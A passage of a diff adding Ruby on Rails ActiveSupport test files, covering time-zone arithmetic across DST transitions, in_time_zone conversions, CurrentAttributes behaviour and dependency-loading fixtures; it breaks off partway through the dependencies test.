+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(minutes: -1440).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 24.hours).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(24.hours).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(hours: -24).inspect
+  end
+
+  def test_advance_1_week_across_spring_dst_transition
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 1, 10, 30))
+    assert_equal "Sat, 08 Apr 2006 10:30:00 EDT -04:00", twz.advance(weeks: 1).inspect
+    assert_equal "Sat, 08 Apr 2006 10:30:00 EDT -04:00", twz.weeks_since(1).inspect
+    assert_equal "Sat, 08 Apr 2006 10:30:00 EDT -04:00", twz.since(1.week).inspect
+    assert_equal "Sat, 08 Apr 2006 10:30:00 EDT -04:00", twz.in(1.week).inspect
+    assert_equal "Sat, 08 Apr 2006 10:30:00 EDT -04:00", (twz + 1.week).inspect
+  end
+
+  def test_advance_1_week_across_spring_dst_transition_backwards
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 8, 10, 30))
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(weeks: -1).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.weeks_ago(1).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1.week).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1.week).inspect
+  end
+
+  def test_advance_1_week_across_fall_dst_transition
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 28, 10, 30))
+    assert_equal "Sat, 04 Nov 2006 10:30:00 EST -05:00", twz.advance(weeks: 1).inspect
+    assert_equal "Sat, 04 Nov 2006 10:30:00 EST -05:00", twz.weeks_since(1).inspect
+    assert_equal "Sat, 04 Nov 2006 10:30:00 EST -05:00", twz.since(1.week).inspect
+    assert_equal "Sat, 04 Nov 2006 10:30:00 EST -05:00", twz.in(1.week).inspect
+    assert_equal "Sat, 04 Nov 2006 10:30:00 EST -05:00", (twz + 1.week).inspect
+  end
+
+  def test_advance_1_week_across_fall_dst_transition_backwards
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 11, 4, 10, 30))
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(weeks: -1).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.weeks_ago(1).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1.week).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1.week).inspect
+  end
+
+  def test_advance_1_month_across_spring_dst_transition
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 1, 10, 30))
+    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.advance(months: 1).inspect
+    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.months_since(1).inspect
+    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.since(1.month).inspect
+    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.in(1.month).inspect
+    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", (twz + 1.month).inspect
+  end
+
+  def test_advance_1_month_across_spring_dst_transition_backwards
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 5, 1, 10, 30))
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(months: -1).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.months_ago(1).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1.month).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1.month).inspect
+  end
+
+  def test_advance_1_month_across_fall_dst_transition
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 28, 10, 30))
+    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.advance(months: 1).inspect
+    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.months_since(1).inspect
+    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.since(1.month).inspect
+    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.in(1.month).inspect
+    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", (twz + 1.month).inspect
+  end
+
+  def test_advance_1_month_across_fall_dst_transition_backwards
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 11, 28, 10, 30))
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(months: -1).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.months_ago(1).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1.month).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1.month).inspect
+  end
+
+  def test_advance_1_year
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2008, 2, 15, 10, 30))
+    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.advance(years: 1).inspect
+    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.years_since(1).inspect
+    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.since(1.year).inspect
+    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.in(1.year).inspect
+    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", (twz + 1.year).inspect
+    assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", twz.advance(years: -1).inspect
+    assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", twz.years_ago(1).inspect
+    assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", (twz - 1.year).inspect
+  end
+
+  def test_advance_1_year_during_dst
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2008, 7, 15, 10, 30))
+    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.advance(years: 1).inspect
+    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.years_since(1).inspect
+    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.since(1.year).inspect
+    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.in(1.year).inspect
+    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", (twz + 1.year).inspect
+    assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", twz.advance(years: -1).inspect
+    assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", twz.years_ago(1).inspect
+    assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", (twz - 1.year).inspect
+  end
+
+  def test_no_method_error_has_proper_context
+    rubinius_skip "Error message inconsistency"
+
+    e = assert_raises(NoMethodError) {
+      @twz.this_method_does_not_exist
+    }
+    assert_equal "undefined method `this_method_does_not_exist' for Fri, 31 Dec 1999 19:00:00 EST -05:00:Time", e.message
+    assert_no_match "rescue", e.backtrace.first
+  end
+end
+
+class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
+  def setup
+    @t, @dt, @zone = Time.utc(2000), DateTime.civil(2000), Time.zone
+  end
+
+  def teardown
+    Time.zone = @zone
+  end
+
+  def test_in_time_zone
+    Time.use_zone "Alaska" do
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @t.in_time_zone.inspect
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @dt.in_time_zone.inspect
+    end
+    Time.use_zone "Hawaii" do
+      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @t.in_time_zone.inspect
+      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @dt.in_time_zone.inspect
+    end
+    Time.use_zone nil do
+      assert_equal @t, @t.in_time_zone
+      assert_equal @dt, @dt.in_time_zone
+    end
+  end
+
+  def test_nil_time_zone
+    Time.use_zone nil do
+      assert !@t.in_time_zone.respond_to?(:period), "no period method"
+      assert !@dt.in_time_zone.respond_to?(:period), "no period method"
+    end
+  end
+
+  def test_in_time_zone_with_argument
+    Time.use_zone "Eastern Time (US & Canada)" do # Time.zone will not affect #in_time_zone(zone)
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @t.in_time_zone("Alaska").inspect
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @dt.in_time_zone("Alaska").inspect
+      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @t.in_time_zone("Hawaii").inspect
+      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @dt.in_time_zone("Hawaii").inspect
+      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @t.in_time_zone("UTC").inspect
+      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @dt.in_time_zone("UTC").inspect
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @t.in_time_zone(-9.hours).inspect
+    end
+  end
+
+  def test_in_time_zone_with_invalid_argument
+    assert_raise(ArgumentError) {  @t.in_time_zone("No such timezone exists") }
+    assert_raise(ArgumentError) { @dt.in_time_zone("No such timezone exists") }
+    assert_raise(ArgumentError) {  @t.in_time_zone(-15.hours) }
+    assert_raise(ArgumentError) { @dt.in_time_zone(-15.hours) }
+    assert_raise(ArgumentError) {  @t.in_time_zone(Object.new) }
+    assert_raise(ArgumentError) { @dt.in_time_zone(Object.new) }
+  end
+
+  def test_in_time_zone_with_time_local_instance
+    with_env_tz "US/Eastern" do
+      time = Time.local(1999, 12, 31, 19) # == Time.utc(2000)
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", time.in_time_zone("Alaska").inspect
+    end
+  end
+
+  def test_localtime
+    Time.zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    assert_equal @dt.in_time_zone.localtime, @dt.in_time_zone.utc.to_time.getlocal
+  end
+
+  def test_use_zone
+    Time.zone = "Alaska"
+    Time.use_zone "Hawaii" do
+      assert_equal ActiveSupport::TimeZone["Hawaii"], Time.zone
+    end
+    assert_equal ActiveSupport::TimeZone["Alaska"], Time.zone
+  end
+
+  def test_use_zone_with_exception_raised
+    Time.zone = "Alaska"
+    assert_raise RuntimeError do
+      Time.use_zone("Hawaii") { raise RuntimeError }
+    end
+    assert_equal ActiveSupport::TimeZone["Alaska"], Time.zone
+  end
+
+  def test_use_zone_raises_on_invalid_timezone
+    Time.zone = "Alaska"
+    assert_raise ArgumentError do
+      Time.use_zone("No such timezone exists") {}
+    end
+    assert_equal ActiveSupport::TimeZone["Alaska"], Time.zone
+  end
+
+  def test_time_zone_getter_and_setter
+    Time.zone = ActiveSupport::TimeZone["Alaska"]
+    assert_equal ActiveSupport::TimeZone["Alaska"], Time.zone
+    Time.zone = "Alaska"
+    assert_equal ActiveSupport::TimeZone["Alaska"], Time.zone
+    Time.zone = -9.hours
+    assert_equal ActiveSupport::TimeZone["Alaska"], Time.zone
+    Time.zone = nil
+    assert_nil Time.zone
+  end
+
+  def test_time_zone_getter_and_setter_with_zone_default_set
+    old_zone_default = Time.zone_default
+    Time.zone_default = ActiveSupport::TimeZone["Alaska"]
+    assert_equal ActiveSupport::TimeZone["Alaska"], Time.zone
+    Time.zone = ActiveSupport::TimeZone["Hawaii"]
+    assert_equal ActiveSupport::TimeZone["Hawaii"], Time.zone
+    Time.zone = nil
+    assert_equal ActiveSupport::TimeZone["Alaska"], Time.zone
+  ensure
+    Time.zone_default = old_zone_default
+  end
+
+  def test_time_zone_setter_is_thread_safe
+    Time.use_zone "Paris" do
+      t1 = Thread.new { Time.zone = "Alaska" }.join
+      t2 = Thread.new { Time.zone = "Hawaii" }.join
+      assert t1.stop?, "Thread 1 did not finish running"
+      assert t2.stop?, "Thread 2 did not finish running"
+      assert_equal ActiveSupport::TimeZone["Paris"], Time.zone
+      assert_equal ActiveSupport::TimeZone["Alaska"], t1[:time_zone]
+      assert_equal ActiveSupport::TimeZone["Hawaii"], t2[:time_zone]
+    end
+  end
+
+  def test_time_zone_setter_with_tzinfo_timezone_object_wraps_in_rails_time_zone
+    tzinfo = TZInfo::Timezone.get("America/New_York")
+    Time.zone = tzinfo
+    assert_kind_of ActiveSupport::TimeZone, Time.zone
+    assert_equal tzinfo, Time.zone.tzinfo
+    assert_equal "America/New_York", Time.zone.name
+    assert_equal(-18_000, Time.zone.utc_offset)
+  end
+
+  def test_time_zone_setter_with_tzinfo_timezone_identifier_does_lookup_and_wraps_in_rails_time_zone
+    Time.zone = "America/New_York"
+    assert_kind_of ActiveSupport::TimeZone, Time.zone
+    assert_equal "America/New_York", Time.zone.tzinfo.name
+    assert_equal "America/New_York", Time.zone.name
+    assert_equal(-18_000, Time.zone.utc_offset)
+  end
+
+  def test_time_zone_setter_with_invalid_zone
+    assert_raise(ArgumentError) { Time.zone = "No such timezone exists" }
+    assert_raise(ArgumentError) { Time.zone = -15.hours }
+    assert_raise(ArgumentError) { Time.zone = Object.new }
+  end
+
+  def test_find_zone_without_bang_returns_nil_if_time_zone_can_not_be_found
+    assert_nil Time.find_zone("No such timezone exists")
+    assert_nil Time.find_zone(-15.hours)
+    assert_nil Time.find_zone(Object.new)
+  end
+
+  def test_find_zone_with_bang_raises_if_time_zone_can_not_be_found
+    assert_raise(ArgumentError) { Time.find_zone!("No such timezone exists") }
+    assert_raise(ArgumentError) { Time.find_zone!(-15.hours) }
+    assert_raise(ArgumentError) { Time.find_zone!(Object.new) }
+  end
+
+  def test_time_zone_setter_with_find_zone_without_bang
+    assert_nil Time.zone = Time.find_zone("No such timezone exists")
+    assert_nil Time.zone = Time.find_zone(-15.hours)
+    assert_nil Time.zone = Time.find_zone(Object.new)
+  end
+
+  def test_current_returns_time_now_when_zone_not_set
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(2000)) do
+        assert_equal false, Time.current.is_a?(ActiveSupport::TimeWithZone)
+        assert_equal Time.local(2000), Time.current
+      end
+    end
+  end
+
+  def test_current_returns_time_zone_now_when_zone_set
+    Time.zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(2000)) do
+        assert_equal true, Time.current.is_a?(ActiveSupport::TimeWithZone)
+        assert_equal "Eastern Time (US & Canada)", Time.current.time_zone.name
+        assert_equal Time.utc(2000), Time.current.time
+      end
+    end
+  end
+
+  def test_time_in_time_zone_doesnt_affect_receiver
+    with_env_tz "Europe/London" do
+      time = Time.local(2000, 7, 1)
+      time_with_zone = time.in_time_zone("Eastern Time (US & Canada)")
+      assert_equal Time.utc(2000, 6, 30, 23, 0, 0), time_with_zone
+      assert_not time.utc?, "time expected to be local, but is UTC"
+    end
+  end
+end
+
+class TimeWithZoneMethodsForDate < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
+  def setup
+    @d = Date.civil(2000)
+  end
+
+  def test_in_time_zone
+    with_tz_default "Alaska" do
+      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @d.in_time_zone.inspect
+    end
+    with_tz_default "Hawaii" do
+      assert_equal "Sat, 01 Jan 2000 00:00:00 HST -10:00", @d.in_time_zone.inspect
+    end
+    with_tz_default nil do
+      assert_equal @d.to_time, @d.in_time_zone
+    end
+  end
+
+  def test_nil_time_zone
+    with_tz_default nil do
+      assert !@d.in_time_zone.respond_to?(:period), "no period method"
+    end
+  end
+
+  def test_in_time_zone_with_argument
+    with_tz_default "Eastern Time (US & Canada)" do # Time.zone will not affect #in_time_zone(zone)
+      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @d.in_time_zone("Alaska").inspect
+      assert_equal "Sat, 01 Jan 2000 00:00:00 HST -10:00", @d.in_time_zone("Hawaii").inspect
+      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @d.in_time_zone("UTC").inspect
+      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @d.in_time_zone(-9.hours).inspect
+    end
+  end
+
+  def test_in_time_zone_with_invalid_argument
+    assert_raise(ArgumentError) { @d.in_time_zone("No such timezone exists") }
+    assert_raise(ArgumentError) { @d.in_time_zone(-15.hours) }
+    assert_raise(ArgumentError) { @d.in_time_zone(Object.new) }
+  end
+end
+
+class TimeWithZoneMethodsForString < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
+  def setup
+    @s = "Sat, 01 Jan 2000 00:00:00"
+    @u = "Sat, 01 Jan 2000 00:00:00 UTC +00:00"
+    @z = "Fri, 31 Dec 1999 19:00:00 EST -05:00"
+  end
+
+  def test_in_time_zone
+    with_tz_default "Alaska" do
+      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @s.in_time_zone.inspect
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @u.in_time_zone.inspect
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @z.in_time_zone.inspect
+    end
+    with_tz_default "Hawaii" do
+      assert_equal "Sat, 01 Jan 2000 00:00:00 HST -10:00", @s.in_time_zone.inspect
+      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @u.in_time_zone.inspect
+      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @z.in_time_zone.inspect
+    end
+    with_tz_default nil do
+      assert_equal @s.to_time, @s.in_time_zone
+      assert_equal @u.to_time, @u.in_time_zone
+      assert_equal @z.to_time, @z.in_time_zone
+    end
+  end
+
+  def test_nil_time_zone
+    with_tz_default nil do
+      assert !@s.in_time_zone.respond_to?(:period), "no period method"
+      assert !@u.in_time_zone.respond_to?(:period), "no period method"
+      assert !@z.in_time_zone.respond_to?(:period), "no period method"
+    end
+  end
+
+  def test_in_time_zone_with_argument
+    with_tz_default "Eastern Time (US & Canada)" do # Time.zone will not affect #in_time_zone(zone)
+      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @s.in_time_zone("Alaska").inspect
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @u.in_time_zone("Alaska").inspect
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @z.in_time_zone("Alaska").inspect
+      assert_equal "Sat, 01 Jan 2000 00:00:00 HST -10:00", @s.in_time_zone("Hawaii").inspect
+      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @u.in_time_zone("Hawaii").inspect
+      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @z.in_time_zone("Hawaii").inspect
+      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @s.in_time_zone("UTC").inspect
+      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @u.in_time_zone("UTC").inspect
+      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @z.in_time_zone("UTC").inspect
+      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @s.in_time_zone(-9.hours).inspect
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @u.in_time_zone(-9.hours).inspect
+      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @z.in_time_zone(-9.hours).inspect
+    end
+  end
+
+  def test_in_time_zone_with_invalid_argument
+    assert_raise(ArgumentError) { @s.in_time_zone("No such timezone exists") }
+    assert_raise(ArgumentError) { @u.in_time_zone("No such timezone exists") }
+    assert_raise(ArgumentError) { @z.in_time_zone("No such timezone exists") }
+    assert_raise(ArgumentError) { @s.in_time_zone(-15.hours) }
+    assert_raise(ArgumentError) { @u.in_time_zone(-15.hours) }
+    assert_raise(ArgumentError) { @z.in_time_zone(-15.hours) }
+    assert_raise(ArgumentError) { @s.in_time_zone(Object.new) }
+    assert_raise(ArgumentError) { @u.in_time_zone(Object.new) }
+    assert_raise(ArgumentError) { @z.in_time_zone(Object.new) }
+  end
+end
diff --git a/activesupport/test/core_ext/uri_ext_test.rb b/activesupport/test/core_ext/uri_ext_test.rb
new file mode 100644
index 0000000000..8816b0d392
--- /dev/null
+++ b/activesupport/test/core_ext/uri_ext_test.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "uri"
+require "active_support/core_ext/uri"
+
+class URIExtTest < ActiveSupport::TestCase
+  def test_uri_decode_handle_multibyte
+    str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
+
+    parser = URI.parser
+    assert_equal str, parser.unescape(parser.escape(str))
+  end
+end
diff --git a/activesupport/test/current_attributes_test.rb b/activesupport/test/current_attributes_test.rb
new file mode 100644
index 0000000000..d333ffc8f5
--- /dev/null
+++ b/activesupport/test/current_attributes_test.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class CurrentAttributesTest < ActiveSupport::TestCase
+  Person = Struct.new(:name, :time_zone)
+
+  class Current < ActiveSupport::CurrentAttributes
+    attribute :world, :account, :person, :request
+    delegate :time_zone, to: :person
+
+    resets { Time.zone = "UTC" }
+
+    def account=(account)
+      super
+      self.person = "#{account}'s person"
+    end
+
+    def person=(person)
+      super
+      Time.zone = person.try(:time_zone)
+    end
+
+    def request
+      "#{super} something"
+    end
+
+    def intro
+      "#{person.name}, in #{time_zone}"
+    end
+  end
+
+  setup { Current.reset }
+
+  test "read and write attribute" do
+    Current.world = "world/1"
+    assert_equal "world/1", Current.world
+  end
+
+  test "read overwritten attribute method" do
+    Current.request = "request/1"
+    assert_equal "request/1 something", Current.request
+  end
+
+  test "set attribute via overwritten method" do
+    Current.account = "account/1"
+    assert_equal "account/1", Current.account
+    assert_equal "account/1's person", Current.person
+  end
+
+  test "set auxiliary class via overwritten method" do
+    Current.person = Person.new("David", "Central Time (US & Canada)")
+    assert_equal "Central Time (US & Canada)", Time.zone.name
+  end
+
+  test "resets auxiliary class via callback" do
+    Current.person = Person.new("David", "Central Time (US & Canada)")
+    assert_equal "Central Time (US & Canada)", Time.zone.name
+
+    Current.reset
+    assert_equal "UTC", Time.zone.name
+  end
+
+  test "set attribute only via scope" do
+    Current.world = "world/1"
+
+    Current.set(world: "world/2") do
+      assert_equal "world/2", Current.world
+    end
+
+    assert_equal "world/1", Current.world
+  end
+
+  test "set multiple attributes" do
+    Current.world = "world/1"
+    Current.account = "account/1"
+
+    Current.set(world: "world/2", account: "account/2") do
+      assert_equal "world/2", Current.world
+      assert_equal "account/2", Current.account
+    end
+
+    assert_equal "world/1", Current.world
+    assert_equal "account/1", Current.account
+  end
+
+  test "delegation" do
+    Current.person = Person.new("David", "Central Time (US & Canada)")
+    assert_equal "Central Time (US & Canada)", Current.time_zone
+    assert_equal "Central Time (US & Canada)", Current.instance.time_zone
+  end
+
+  test "all methods forward to the instance" do
+    Current.person = Person.new("David", "Central Time (US & Canada)")
+    assert_equal "David, in Central Time (US & Canada)", Current.intro
+    assert_equal "David, in Central Time (US & Canada)", Current.instance.intro
+  end
+end
diff --git a/activesupport/test/dependencies/check_warnings.rb b/activesupport/test/dependencies/check_warnings.rb
new file mode 100644
index 0000000000..f7d7d2dbc7
--- /dev/null
+++ b/activesupport/test/dependencies/check_warnings.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+$check_warnings_load_count += 1
+$checked_verbose = $VERBOSE
diff --git a/activesupport/test/dependencies/conflict.rb b/activesupport/test/dependencies/conflict.rb
new file mode 100644
index 0000000000..aa22ec0b09
--- /dev/null
+++ b/activesupport/test/dependencies/conflict.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+Conflict = 1
diff --git a/activesupport/test/dependencies/cross_site_depender.rb b/activesupport/test/dependencies/cross_site_depender.rb
new file mode 100644
index 0000000000..3ddea7fc4b
--- /dev/null
+++ b/activesupport/test/dependencies/cross_site_depender.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class CrossSiteDepender
+  CrossSiteDependency
+end
diff --git a/activesupport/test/dependencies/mutual_one.rb b/activesupport/test/dependencies/mutual_one.rb
new file mode 100644
index 0000000000..bb48fddd4d
--- /dev/null
+++ b/activesupport/test/dependencies/mutual_one.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+$mutual_dependencies_count += 1
+require_dependency "mutual_two"
+require_dependency "mutual_two.rb"
+require_dependency "mutual_two"
diff --git a/activesupport/test/dependencies/mutual_two.rb b/activesupport/test/dependencies/mutual_two.rb
new file mode 100644
index 0000000000..ed354ed75e
--- /dev/null
+++ b/activesupport/test/dependencies/mutual_two.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+$mutual_dependencies_count += 1
+require_dependency "mutual_one.rb"
+require_dependency "mutual_one"
+require_dependency "mutual_one.rb"
diff --git a/activesupport/test/dependencies/raises_exception.rb b/activesupport/test/dependencies/raises_exception.rb
new file mode 100644
index 0000000000..67bfaabb3e
--- /dev/null
+++ b/activesupport/test/dependencies/raises_exception.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+$raises_exception_load_count += 1
+raise Exception, "Loading me failed, so do not add to loaded or history."
+$raises_exception_load_count += 1
diff --git a/activesupport/test/dependencies/raises_exception_without_blame_file.rb b/activesupport/test/dependencies/raises_exception_without_blame_file.rb
new file mode 100644
index 0000000000..3a6533cd3a
--- /dev/null
+++ b/activesupport/test/dependencies/raises_exception_without_blame_file.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+exception = Exception.new("I am not blamable!")
+class << exception
+  undef_method(:blame_file!)
+end
+raise exception
diff --git a/activesupport/test/dependencies/requires_nonexistent0.rb b/activesupport/test/dependencies/requires_nonexistent0.rb
new file mode 100644
index 0000000000..d09dbd2485
--- /dev/null
+++ b/activesupport/test/dependencies/requires_nonexistent0.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+require "RMagickDontExistDude"
diff --git a/activesupport/test/dependencies/requires_nonexistent1.rb b/activesupport/test/dependencies/requires_nonexistent1.rb
new file mode 100644
index 0000000000..ce96229172
--- /dev/null
+++ b/activesupport/test/dependencies/requires_nonexistent1.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+require_dependency "requires_nonexistent0"
diff --git a/activesupport/test/dependencies/service_one.rb b/activesupport/test/dependencies/service_one.rb
new file mode 100644
index 0000000000..2a4a39144d
--- /dev/null
+++ b/activesupport/test/dependencies/service_one.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+$loaded_service_one ||= 0
+$loaded_service_one += 1
+
+class ServiceOne
+end
diff --git a/activesupport/test/dependencies/service_two.rb b/activesupport/test/dependencies/service_two.rb
new file mode 100644
index 0000000000..29cd73cbcd
--- /dev/null
+++ b/activesupport/test/dependencies/service_two.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class ServiceTwo
+end
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
new file mode 100644
index 0000000000..d636da46d2
--- /dev/null
+++ b/activesupport/test/dependencies_test.rb
@@ -0,0 +1,1077 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "pp"
+require "active_support/dependencies"
+require "dependencies_test_helpers"
+
+module ModuleWithMissing
+  mattr_accessor :missing_count
+  def self.const_missing(name)
+    self.missing_count += 1
+    name
+  end
+end
+
+module ModuleWithConstant
+  InheritedConstant = "Hello"
+end
+
+class DependenciesTest < ActiveSupport::TestCase
+  include DependenciesTestHelpers
+
+  setup do
+    @loaded_features_copy = $LOADED_FEATURES.dup
+  end
+
+  teardown do
+    ActiveSupport::Dependencies.clear
+    $LOADED_FEATURES.replace(@loaded_features_copy)
+  end
+
+  def test_depend_on_path
+    expected = assert_raises(LoadError) do
+      Kernel.require "omgwtfbbq"
+    end
+
+    e = assert_raises(LoadError) do
+      ActiveSupport::Dependencies.depend_on "omgwtfbbq"
+    end
+    assert_equal expected.path, e.path
+  end
+
+  def test_require_dependency_accepts_an_object_which_implements_to_path
+    o = Object.new
+    def o.to_path; "dependencies/service_one"; end
+    assert_nothing_raised {
+      require_dependency o
+    }
+    assert defined?(ServiceOne)
+  ensure
+    remove_constants(:ServiceOne)
+  end
+
+  def test_tracking_loaded_files
+    with_loading do
+      require_dependency "dependencies/service_one"
+      require_dependency "dependencies/service_two"
+      assert_equal 2, ActiveSupport::Dependencies.loaded.size
+    end
+  ensure
+    remove_constants(:ServiceOne, :ServiceTwo)
+  end
+
+  def test_tracking_identical_loaded_files
+    with_loading do
+      require_dependency "dependencies/service_one"
+      require_dependency "dependencies/service_one"
+      assert_equal 1, ActiveSupport::Dependencies.loaded.size
+    end
+  ensure
+    remove_constants(:ServiceOne)
+  end
+
+  def test_missing_dependency_raises_missing_source_file
+    assert_raise(LoadError) { require_dependency("missing_service") }
+  end
+
+  def test_dependency_which_raises_exception_isnt_added_to_loaded_set
+    with_loading do
+      filename = "dependencies/raises_exception"
+      expanded = File.expand_path(filename)
+      $raises_exception_load_count = 0
+
+      5.times do |count|
+        e = assert_raise Exception, "should have loaded dependencies/raises_exception which raises an exception" do
+          require_dependency filename
+        end
+
+        assert_equal "Loading me failed, so do not add to loaded or history.", e.message
+        assert_equal count + 1, $raises_exception_load_count
+
+        assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
